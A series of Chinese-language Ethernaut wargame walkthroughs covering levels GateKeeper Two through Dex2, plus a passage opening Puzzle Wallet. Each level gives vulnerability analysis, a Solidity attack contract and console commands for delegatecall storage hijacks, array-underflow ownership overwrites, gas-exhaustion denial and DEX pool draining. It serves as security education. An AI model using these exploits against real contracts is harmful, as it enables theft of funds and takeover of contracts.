里面是每步操作的执行过程及其所消耗的GAS。

页面中搜索GAS，操作中总共有2个，分析整个调用顺序，应该前者是合约内部调用前发起，后者则是gateTwo通过gasLeft主动发起。所以记下该GAS操作后剩余的gas（因为查询本身也会消耗gas），此处为70215。我们可以根据该值除8191的余数调整gas limit直至完成攻击。

下表则是我们的发起过程，需要重复进行几次才能完成攻击。

原始gas Limit	GAS操作后剩余gas	余数	下一次输入gas
100000	70215	4687	95313
95313	65601	73	95240
95240	65529	1	95239

注意当gas设置为95239后，交易成功。如截图所示：

输入await contract.entrant() == player，此时返回true表明攻击成功。

提交实例，本关卡成功！

总结

Gas的调试很有意思，值得细细研究。

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14 GateKeeper Two

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F。本关卡的目的是满足gateOne、gateTwo和gateThree，成功实现entrant的修改。

观察其核心代码，依旧是gateOne、gateTwo和gateThree。

• gateOne依旧是要求msg.sender != tx.origin，即必须有一个中间合约。
• gateTwo要求extcodesize(caller())==0，即调用者（对应msg.sender）的关联代码长度为0，而我们知道，智能合约代码是不为0的。
• gateThree则要求输入对应的bytes8满足相应的要求。

乍一看似乎gateOne和gateTwo无法同时满足，但是可以考虑到，当合约正在构建时，其关联代码也是为0的。所以我们可以在构建函数里发起攻击。

攻击合约编写

我们同样在remix里编写攻击合约。如下：

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    constructor(address addr) public {
        Gate gateImpl = Gate(addr);
        bytes8 input = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
        gateImpl.enter(input);
    }
}

值得注意的是，我们这里针对gateThree使用了主动下溢出获取全为1的uint64（两次异或就消失了）。

合约交互

部署合约，传入目标合约0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F，构建合约的地址为0xE0CCEeA724E2eF32A573348975538DEf0eeBC74f。

部署成功后，利用await contract.entrant() == player查看是否攻击成功。答案是成功的。

提交实例，本关卡成功！

总结

那该如何保证不处理智能合约发来的请求呢？msg.sender=tx.origin即可。

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15 Naught Coin

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x30A758458135a40eA5c59c7F171Fd6FFe08e00c2。本关卡的目的是将自身的余额变为0。

乍一看合约，对player存在如下限制：

    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }

似乎是无法绕过的，我们似乎也无法通过合约进攻，因为默认是扣去自身的token。
但有一看，NaughCoin是继承ERC20，而我们知道ERC20中可不只一个转账函数。我们可以试试通过其他方法。

仔细一看，原始的ERC20中还存在transferFrom函数。

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

当然，这前提是有足够的allowance。我们可以开始试试了。

合约交互

首先通过await contract.approve(player,await contract.balanceOf(player))，使得自身可以通过transferFrom函数进行转账。

随后我们通过await contract.transferFrom(player,contract.address,await contract.balanceOf(player))将余额转移到合约。

此时再通过await contract.balanceOf(player)查看余额，可知攻击成功，余额为0。

提交实例，本关卡成功！

总结

继承部分函数不影响其他的使用，这可以说的上是表面合约了。

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16 Preservation

我又回来了，给外方的培训算是快要告一段落，在这段过程中，我认为我也有许多收获。在培训、讲解的过程中，我的思路也变得更为清晰了。可喜可贺。理论上来说，我初步计划的是在8月完成Ethernaut的攻防，然后开启下一阶段的分享。

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046。本关卡的目的是获取目标合约的所有权。那我们还是要看看，目标合约的薄弱点在哪里，我们hack的入口又在哪里？

我们对目标展开详细分析

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;

此处目标存储了timeZone1Library、timeZone2Library、owner及storedTime变量，而前三者都是在创建时指定的。

既然要获取目标合约的所有权，首先我们查找修改owner的语句，但是翻遍代码都没有找到，或许我们得看看有哪些危险函数？

  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

没错，就是这里，delegatecall！
其实，在Delegation一关中，我们专门提到过call函数族中的区别：

• call: 最常用的调用方式，调用后内置变量 msg 的值会修改为调用者B，执行环境为被调用者的运行环境C。
• delegatecall:调用后内置变量 msg 的值A不会修改为调用者B，但执行环境为调用者的运行环境B
• callcode:调用后内置变量 msg 的值A会修改为调用者B，但执行环境为调用者的运行环境B

此时，使用delegate call时，我们只是相当于调用了函数，而实际执行环境还是本身的运行环境。如果要更为底层的来说，又该怎么理解呢？这个环境，尤其是涉及到storage变量的存储时，是根据插槽来使用的，而不是变量的名字。换句话来说，我们如果通过delegate call修改storage变量，其实是修改当前环境下对应的插槽！

理解了这一点，我们再来看当前合约，真是怎么看怎么不对劲：当调用对应合约LibraryContract的setTime函数后，如所见即所得，storedTime变量被修改，这其实会修改运行环境下的slot 0，换而言之，其实timeZone1Library所处的插槽已经被修改了。这个合约本身就是有问题的！

也就是因为它有问题，我们才要处理它！我们首先想将timeZone1Library的地址修改为我们的攻击合约，在想办法通过delegate call实现后续的攻击。

攻击合约编写

我们同样在remix里编写攻击合约。如下：

pragma solidity ^0.6.0;


contract attacker {

    address public tmpAddr1;
    address public tmpAddr2;
    address public owner; 

    constructor() public {

    }

    function setTime(uint _time) public {
        owner = address(_time);
    }

}

乍一看，这和原来合约的有什么区别么？其实有的，就是我们在修改时特意使得修改的是第三个插槽，也就是slot 2。变量tmpAddr1和tmpAddr2其实只是一个插槽的占位符，并无特殊含义。

合约交互

首先我们部署攻击合约，合约地址为0x852D36AcCF80Eb6611FC124844e52DC9fC72c958。现在我们就是想用其替换原有的变量timeZone1Library。

首先，我们可以查询目标合约目前的插槽状况。

其布局应当为

-----------------------------------------------------
| 0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5        | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

我们试着调用await contract.setFirstTime()（first 还是 second 其实并不影响，可以思考以下为什么）并传入我们的攻击合约。此时可以看到其实已经发生了改变。我们可以直接传入地址而不去在意uint的限制，因为具体构建的data并不会指明参数类型，而会是evm手动的编译。

此时，其布局应当为

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

此时，想法就很简单，直接调用await contract.setFirstTime()并传入player地址。传入后查看owner变量是否发生修改，可以看到已经成功获取到了合约所有权。

此时布局为：

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

提交实例，本关卡完成！

总结

还是得明白 delegate call共享环境到底共享的是什么。

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17 Recovery

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046。本关卡的目的是找到“丢失的地址”（我们给他转去了0.001ether却忘记了其地址）并恢复丢失的以太。

这题其实有两种思路，一种略微取巧了，第二个我猜是题目真正想考的。
根据题目描述可以知道，这其实是一个连续的过程：合约创建者创建代币合约的工厂合约，后者再创建代币合约(被遗忘的地址）。我们就围绕这个思路展开。

合约交互

找到遗忘的地址，方法一 ： 基于浏览器

这里的浏览器可不是Browser，而是Explorer。
我们可以查看自己的交易记录。可以看到我们在里面还转移了两次0.001以太。

我们可以基于内部调用展开分析。整体流程如下：

• 用户账户调用Ethernaut合约0xd991431d8b033ddcb84dad257f4821e9d5b38c33
• Ethernaut合约0xd991431d8b033ddcb84dad257f4821e9d5b38c33调用关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2并转账0.001Ether
• 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2创建工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2
• 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2调用工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2，应该是generateToken接口
• 工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2创建了代币合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
• 关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2向代币合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8转账0.001Ether，随后忘记该合约地址。

通过浏览器，我们找到了该代币合约地址为0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8。

找到遗忘的地址，方法二 ： 基于地址生成

其实，合约地址的生成是有规律可寻的。经常可以看到有的代币或组织跨链部署的合约都是同样的，这是因为合约地址是根据创建者的地址及nonce来计算的，两者先进行RLP编码再利用keccak256进行哈希计算，在最终的结果取后20个字节作为地址（哈希值原本为32字节）。

• 创建者的地址是已知的，而nonce也是从初始值递增获取到的。
• 外部地址nonce初始值为0，每次转账或创建合约等会导致nonce加一
• 合约地址nonce初始值为1，每次创建合约会导致nonce加一（内部调用不会）

我们用web3.js试试召回丢失的合约地址。目前已知工厂合约为0xfeB7158F1d0Ff49043e7e2265576224145b158f2，nonce为1,
输入为web3.utils.keccak256(Buffer.from(rlp.encode(['0xfeB7158F1d0Ff49043e7e2265576224145b158f2',1]))).slice(-40,)，结果为9d91abf611bbf14e52fa4cddea81f8f2cf665cb8。

找回

找到了合约，现在就要尝试和合约进行交互。我们可以新建合约，也可以直接通过web3.js与合约进行交互。

首先，我们通过encodeFunctionSignature获取函数指示，并构造参数。最后通过sendTransaction发送出来。

可以看到有4字节的函数以及32字节的输入（不够的补0）。

成功调用！

提交实例，本关卡成功！
)

总结

其实感觉自己原理都知道，但实操起来总有些不熟练，还得多练习～

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18 MagicNumber

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x36c8074B1F138B7635Ad1eFe0c2b37b346EC540c。本关卡就是希望我们能手写solidity的opcode，构建合约，再被调用是能直接返回魔数0x42。准确来说，就是希望我们熟悉当我们创建合约的时候，transaction中的data实际指的是什么。

这一块其实我也不是特别熟悉，所以也查询了一些资料。当我们用Solidity部署合约时，究竟会发生些什么？

• Solidity代码已经写好，当用户点击部署时，会发送创建合约的交易（此交易没有to选项），此时solidity语言已经被编译为字节码
• EVM接收到请求后会将data取出来，这实际上是字节码
• 字节码将会被载入到栈内，分为两部分：初始化字节码及运行态字节码
• EVM将会执行初始化字节码，并将运行态字节码返回用以正常时的利用。

我们这里其实既要写运行态字节码，又要写初始化的字节码。

那就开始编写字节码。

合约编写

运行态字节码

运行态其实就是直接返回RETURN 42。可是opcodeRETURN是基于栈的。它会读取栈中的p和s并返回。其中p代表存储的内存地址，而s代表的是存储数据的大小。所以我们的思路就是，先把数据利用mstore存到内存里，再利用RETURN返回。

• mstore会读取栈中的p和v，并最终将数据存储到p位置上

  • push1 0x42 -> 60 42
  • push1 0x60 -> 60 60（存储在0x60的位置）
  • mstore -> 52

• RETURN返回0x42

  • push1 0x20 -> 60 20（0x20=32即uint256的字节数）
  • push1 0x60 -> 60 60
  • return -> f3

合起来就是604260605260206060f3。看上去运行态字节码就这么简单。

初始化字节码

其核心就是初始化并通过codecopy将运行态字节码存到内存去，在这之后，这将自动地被EVM处理并存储到区块链上。

• codecopy会读取参数t、f、s，其中t是代码的目的内存地址，f是运行态代码相对于整体（初始化+运行态）的偏移，而s则是代码大小。我们这里选择t=0x20（这里没有强制性要求），f=unknown（是1字节的偏移量），s=0x0a（10个字节的大小）

  • push1 0x0a -> 60 0a
  • push1 0xUN -> 60 UN
  • push1 0x20 -> 60 20
  • codecopy -> 39

• 通过RETURN将代码返回给EVM

  • push1 0x0a -> 60 0a
  • push1 0x20 -> 60 20
  • return -> f3
    此时初始化字节码有12字节，所以运行态偏移为12=0x0c=UN
    最终初始化字节码为600a600c602039600a6020f3

构建与测试

构建字节码0x600a600c602039600a6020f3604260605260206060f3。
我们在console界面构造了交易以创建合约。

由于交易没有接受方，自动被识别为部署合约

部署完成，可以看出，合约地址为0xAcA8C7d0F1E90272A1bf8046A6b9B3957fbB4771。

将合约设置为solver。后面当我们提交后会自动调用以查看是否满足。

提交关卡，进行检验，发现没有成功？怎么回事？

先查看交易的RAW TRACE，可以看出最后的确是访问了我们的合约，也的确是返回了0x42。

再去看汇编，可以看到，的确也是执行了。

随即我们在remix上的导入，调用函数，的确也都返回0x42。

难道？我们修改返回的值从0x42到42（0x2a）。

构建字节码0x600a600c602039600a6020f3602a60605260206060f3。
此时通过remix调用，的确都返回42。再提交看看？成功了！

总结

其实有人会觉得困惑？也没有个函数选择器啥的？其实这里需要补充一下，平常我们通过solidity编写智能合约后，在编译时会植入函数选择器。而我们本关卡没有这一步骤，所以就如同remix调用的图一样，所有函数其实都执行的同一块命令，得到的是同一个结果。

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19 AlienCodex

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xc4017fe2BD1Cb4629E0225B6CCe2c712138588Ef。本关卡的目的是获取合约的所有权。那我们先看看合约内有没有设置所有权的代码？

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;
  ...
}

看到代码就知道，合约里应该是没有设置所有权的代码，那我们可能就要想办法从其他地方入手了。发现代码里有这段：

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }

看来就是这里了，想办法从这里入手，通过该操作以改变插槽存储值的大小。

合约交互

我们先看看slot里存的都是些什么？

由于合约继承了Ownable合约，所以slot0中存储的就是owner对象，此时为0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272。实际上该地址就是创建目标合约的地址，如下图所示：

, the owner will still get their share
而存储的contact变量也是在slot 0中（一个插槽长度为32位，能够存放地址（20）+布尔型（1）），目前为0即为false。slot1存储的则是codex动态数组，更准确来说，应该是codex动态数组的长度，而具体的下标内容呢？会按序存储在keccak256(bytes(1))+x的插槽内，其中，x就是数组的下标。所以我们将插槽表示出来：

-----------------------------------------------------
| unused(11 bytes) |contact = false  |  0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272       | <- slot 0
-----------------------------------------------------
| codex length =0       | <- slot 1
-----------------------------------------------------
...
-----------------------------------------------------
| codex data[0]      | <- slot ??
-----------------------------------------------------

我们现在计算codex data的起始插槽，应该是0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

我们先测试一下准确性。由于contacted modifier的存在，我们先修改contact变量。调用await contact.make_contact()，再次查看插槽数值，可以发现变量成功被修改。

先存一个值看看，await contract.record("0x000000000000000000000000000000000000000000000000000000000000aaaa")测试一下。此时，插槽长度发生变化，同时存储数据也有所修改。

再存一个值看看，await contract.record("0x000000000000000000000000000000000000000000000000000000000000bbbb")测试一下。此时，插槽长度发生变化，同时存储数据也有所修改。

现在我们就希望通过修改codex的data导致溢出最终修改slot 0。
首先我们连续调用三次await contract.retract()将codex.length下溢出为2**256-1。此时先前输入的数据均已丢失。

那下标该是多少呢？应该是2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1。因为我们到达末端后需要再进一位产生上溢出，返回slot0。在计算的过程中我们遇到一个问题，那就是javascript会利用科学计数法，而这会导致精度的丢失。为了简便起见，我们用remix计算，结果是35707666377435648211887908874984608119992236509074197713628505308453184860938。

那我们就用await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',player)来调用，此时会覆盖原有slot。但一检查发现不对，结果跑前面去了。看来我们又要修改一下，不能直接传入player，需要传入0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b。

输入await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b')，此举是在地址前面补齐24个0,凑足244+404=256位即32bytes，从而将地址存入正确的存储位置。

此时，合约所有者已经成功修改。

提交实例，本关卡成功！

总结

在涉及到owner方面（或者其他重要变量）一定要慎重，寻找所有的可能性。

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20 Denial

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xeb587746E66F008f686521669B5ea99735b1310B。本关卡的目的是阻止owner提款。我们先看看各角色是什么。

    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;输入
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

每当用户提款时，会调用withdraw函数，取出1%发给partner，还有1%发给owner。我们能做的就是在partner端定义函数，使的发给owner的步骤无法进行。

然而，合约中调用的是call并附上了所有gas。我们先回顾一下send、call和transfer之间的区别。

• transfer如果异常会转账失败，并抛出异常，存在gas限制
• send如果异常会转账失败，返回false，不终止执行，存在gas限制
• call如果异常会转账失败，返回false，不终止执行，没有gas限制

所以我们的入手点就是消耗光其gas，光失败不会终止后续执行的！

如何消耗呢？那我们就来看看require和assert。

• assert会消耗掉所有剩余的gas并恢复所有的操作
• require会退还所有剩余的gas并返回一个值

所以我们似乎可以在assert上下功夫。

攻击合约编写

攻击合约很简单，就是默认assert(false)并回滚一切操作。

pragma solidity ^0.6.0;


contract attacker {

    constructor() public {
    }
    
    fallback() external payable {
        assert(false);
    }

}

合约交互

部署攻击合约，地址为0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7。

输入await contract.setWithdrawPartner('0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7')将攻击合约设置为partner角色。

此时我们发起withdraw测试一下。输入await contract.withdraw()，结果发现由于gas耗尽，所以失败。

提交实例，本关卡成功！

总结

还是那句老话，合约的交互是难以信任的。

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21 Shop

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xaF30cef990aD1D3b641Bad72562f62FF3A0977C7。本关卡的目的是用低于问讯要求的价格实现购买。其具体代码段如下：

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }

合约会询问用户msg.sender（所以可以是智能合约）的出价，如果其price()函数返回的结果超过当前的定价并且商品仍未卖出，则会将定价设为用户的出价。现在看应该是要求用户两次出价返回的结果不同。然而，我们可以看到Buyer类型的接口price()是一个view类型的函数，这表明只能读取变量而不应当对变量有所修改，即不能改变当前合约的状态。这可怎么办呢？

那么有没有办法能够使得view方法两次返回的值不同呢？目前来说，有两种方法：

• 依托于外部合约的变化
• 依托于本身变量的变化

攻击合约编写

外部合约的状态变化

如果view类型方法依托于外部合约的状态，通过询问外部变量，即可无修改地实现返回值的区别。

同样基于remix，我们编写合约如下：

pragma solidity ^0.6.0;


interface Shop {
  function buy() external;
  function isSold() external view returns (bool);码
}

contract attacker {

    Shop shop;

    constructor(address _addr) public {
        shop = Shop(_addr);
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        if (!shop.isSold()){
            return 101;
        }else{
            return 99;
        }
    }

}

此时由于在请求price()前后Shop合约的isSold变量已发生了变化，所以我们可以基于该变量设置if规则，这种方法是适用的。

本身变量的变化

如果我们依赖于now、timestamp等变量，的确可以实现在不同区块下view类型的函数会返回不同结果，然而，在同一区块下，似乎仍难以区分开来。

我们有如下合约:

contract attacker2 {

    Shop shop;
    uint time;

    constructor(address _addr) public {
        shop = Shop(_addr);
        time = now;
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        return (130-(now-time));
    }

}

在不同时刻调用view类型的price函数，返回的值是有区别的。然而，在同一区块呢，很难去达成区别，所以是不够适用的。

合约交互

先查看合约当前状态。

部署攻击合约，合约地址为0x8201E303702976dc3E203a4D3cDe244D522274bf。

此时调用price方法，返回101。

调用attack方法发起进攻。调用完后刷新目标合约状态。此时商品已卖出，价格为99。

提交实例，本关卡完成！

总结

有时候从另一个角度去想问题，这和我们常规理解的可能不一样。

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22 Dex

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0x28B73f0b92f69A35c1645a56a11877b044de3366。本关卡的是DEX（Decentralized Exchange，去中心化交易所）的简易版本。

对合约展开分析，合约中只存有两个代币合约，一个是token1，一个是token2。

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

而合约支持我们根据代币之间的汇率进行兑换。兑换的价格为两个代币的数量之比。

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

这里发现有一个问题，我们暂且按下不表。
那我们需要做什么呢？就是利用这里面不对称的汇率，实现套利，挖空交易池里的代币（一种即可）。

由于在swap里已经限定只能围绕token1和token2展开交易。所以我们只能从汇率入手了。那这就回到我们一开始发现的问题，对于单次交易来说，汇率是恒定的！对一般的去中心化交易所来说，都会有滑点(Slippage)的概念，即随着交易额的增长，理论汇率和实际汇率之间的差值会越来越大！ 而很明显，本关卡合约没有滑点的概念，这就使得我们能获取到的兑换额度要比实际值大的多。多兑换几次，我们就能很快掏空交易池。

合约交互

我们先看看交易池内token1、token2和我们账户代币的数量。

如果我们要将手头的10个token1兑换为token2，首先我们通过await contract.approve(contract.address,10)完成授权。

随后我们通过await contract.swap(token1,token2,10)将10个token1兑换为token2。根据初始汇率1:1我们可以获取到10个token2。此时我们有了0个token1、20个token2，但交易所现在有110个token1、90个token2，如果我们将10个token2兑换回去，我们可以获得不止10个token1!这就是套利!

通过下表展示套利过程，其中由于精度有限所以汇率往往只能精确到小数点后1位。最后一次我们根据汇率不完全兑换，只兑换46个(110/2.4=45.83)，结果失败（因为交易池没有那么多）。后来发现，直接兑换45个即可。

交易池token1	交易池token2	汇率1-2	汇率2-1	用户token1	用户token2	兑换币种	兑换后用户token1	兑换后用户token1
100	100	1	1	10	10	token1	0	20
110	90	0.818	1.222	0	20	token2	24	0
86	110	1.28	0.782	24	0	token1	0	30
110	80	0.727	1.375	0	30	token2	41	0
69	110	1.694	0.627	41	0	token1	0	65
110	45	0.409	2.44	0	65	token2	110	20

此时，交易池的token1已经被掏空！提交关卡，本关卡成功！

总结

涉及到Dex这种Defi项目，智能合约的编写一定要慎之又慎。

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23 Dex2

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xF8A6bcdD3B5297f489d22039F5d3D1e3D58570bA。本关卡仍是DEX（Decentralized Exchange，去中心化交易所）的简易版本。

乍一看，这题跟上个没啥区别阿。但仔细一看似乎缺了点什么？

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

里面不再对币种的地址作校验了，那我们能否部署自己的代币合约，并通过相关方法提供流动性，并最终掏空池子呢？

编写攻击合约

我们参考目标合约中的SwappableToken合约，编写攻击合约如下：

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract SwappableTokenAttack is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

部署合约，其合约地址为0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e

合约交互

我们首先实现approve授权许可，给目标合约8个攻击代币的许可。

随后，我们通过await contract.add_liquidity('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)将攻击代币加入DEX。结果失败，原来我们不是合约的owner。

这影响吗？不影响，我们可以在攻击合约中手动转账。

此时，获取一下攻击代币转token1的汇率呗～ await contract.getSwapAmount('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)，结果发现我们可以全部掏空token1!

那就发起把，先后输入await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)和await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token2(),2)以实现将交易池掏空！成功！（对token2使用2个攻击代币是因为我们此时汇率已经下降到1:50了）

提交关卡，本关卡成功！

总结

智能合约真是处处漏洞阿，有时间一定要研究一下UniSwap！

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24 Puzzle Wallet

创建实例并分析

根据先前的步骤，创建合约实例，其合约地址为0xd1B77Be5ECD09964e521b36A35804c46bb5a9ED9。这个时候我们还不知道这个合约实例到底是什么。而我们的目的是要成为proxy的所有者。

初看关卡里的合约，可能会很困惑，这里面又是proxy又是wallet，这到底时是要干什么呢？在深入分析本关卡的合约之前，我们需要了解一下什么叫代理模式，否则我们无法明白其中的门门道道。

学过设计模式的同学其实都知道什么是代理模式：为其他对象提供一种代理以控制对某个对象的访问。也就是说，每次我要访问A，其实我是通过调用B的接口，而B中存有A的对象实例，并对外暴露与A相同的接口，这时候，当我们调用B时，我们仍以为自己在访问A，并对其中代理部分浑然不觉。

那么，代理模式的优点又在哪里呢？如果业务有更新，完全可以实现热部署，代理实例通过切换对象实例，此时使用者不会感觉到服务有中断或者发生了变化。

而在智能合约中，要使用代理模式，思路也是一样的，就是为了解决合约一旦上链无法更新的问题。当我们需要更新合约时，只要将代理合约中的合约实例指向新创建的合约即可。此时，对和代理合约交互的用户来说，并没有感到服务产生了变化。现在很多链游就是基于以上原理，可以不断的更新合约、更新游戏。而转发具体是怎么实现的呢？其实就是利用fallback函数，当用户访问不存在的函数时，会进入fallback，代理合约在此处即可完成转发。

回到正题，我们现在获得的0xd1B77Be5ECD09964e521b36A35804c46bb5a9ED9究竟是什么？是PuzzleProxy还是PuzzleWallet呢？我们从三个角度来看一看。

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• 合约创建角度

  我们截图看看我们创建实例时的内部调用。

可以看出，用户地址调用Ethernaut合约地址，后者调用关卡合约，由关卡合约分别创建0xd04cb22addf0bc25858935688482ad328c839e97及0xd1b77be5ecd09964e521b36a35804c46bb5a9ed9，而0xd1b77be5ecd09964e521b36a35804c46bb5a9ed9被创建后，又通过delegatecall调用了0xd04cb22addf0bc25858935688482ad328c839e97。这似乎就很明朗了，0xd04cb22addf0bc25858935688482ad328c839e97应该是Puzzle Wallet，0xd1b77be5ecd09964e521b36a35804c46bb5a9ed9则是代理合约。想想的确也是这样，代理合约在初始化时肯定也需要指定实例合约。

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }

• 合约创建源码

  我们可以在Ethernaut的github项目中找到工厂合约

  function createInstance(address /*_player*/) override public payable returns (address) {
    require(msg.value ==  0.001 ether, "Must send 0.001 ETH to create instance");

    // deploy the PuzzleWallet logic
    PuzzleWallet walletLogic = new PuzzleWallet();

    // deploy proxy and initialize implementation contract
    bytes memory data = abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether);
    PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data);
    PuzzleWallet instance = PuzzleWallet(address(proxy));

    // whitelist this contract to allow it to deposit ETH
    instance.addToWhitelist(address(this));
    instance.deposit{ value: msg.value }();

    return address(proxy);
  }

很明显，是先创建PuzzleWallet，然后创建PuzzleProxy并最后返回proxy地址。

• 逻辑推理

很明显，对外暴露的应该是代理合约，实际合约应当藏在代理合约的后面。

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那可能又有疑惑了，我这里contract.abi获得的结果为什么又是PuzzleWallet的abi呢？其实没问题，本来暴露的就应该是实际合约的接口咯。

那这么一看的话，我们的切入点又在哪里呢？

其实代理合约通过delegatecall调用实例合约，这里面有一个我们先前提过的问题，就是需要两个合约之间的存储槽不能产生冲突，否则会导致数据被随意修改。那我们就来看看，其实本关卡是存在存储冲突这一问题的。

先看PuzzleProxy，其定义变量如下，而UpgradeableProxy并没有定义变量。

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;
}

因此，其slot存储如下：

-----------------------------------------------------
| unused (12bytes)      |  pendingAdmin (address 20bytes) |< - slot 0
-----------------------------------------------------
| unused (12bytes)      |  admin (address 20bytes) |< - slot 1
-----------------------------------------------------

而PuzzleWallet中变量存储如下：

-----------------------------------------------------
| unused (12bytes)      |  owner(address 20bytes) |< - slot 0
-----------------------------------------------------
| maxBalance  |< - slot 1
-----------------------------------------------------
| whitelised(占位)  |< - slot 2
-----------------------------------------------------
| balances(占位)  |< - slot 3
-----------------------------------------------------

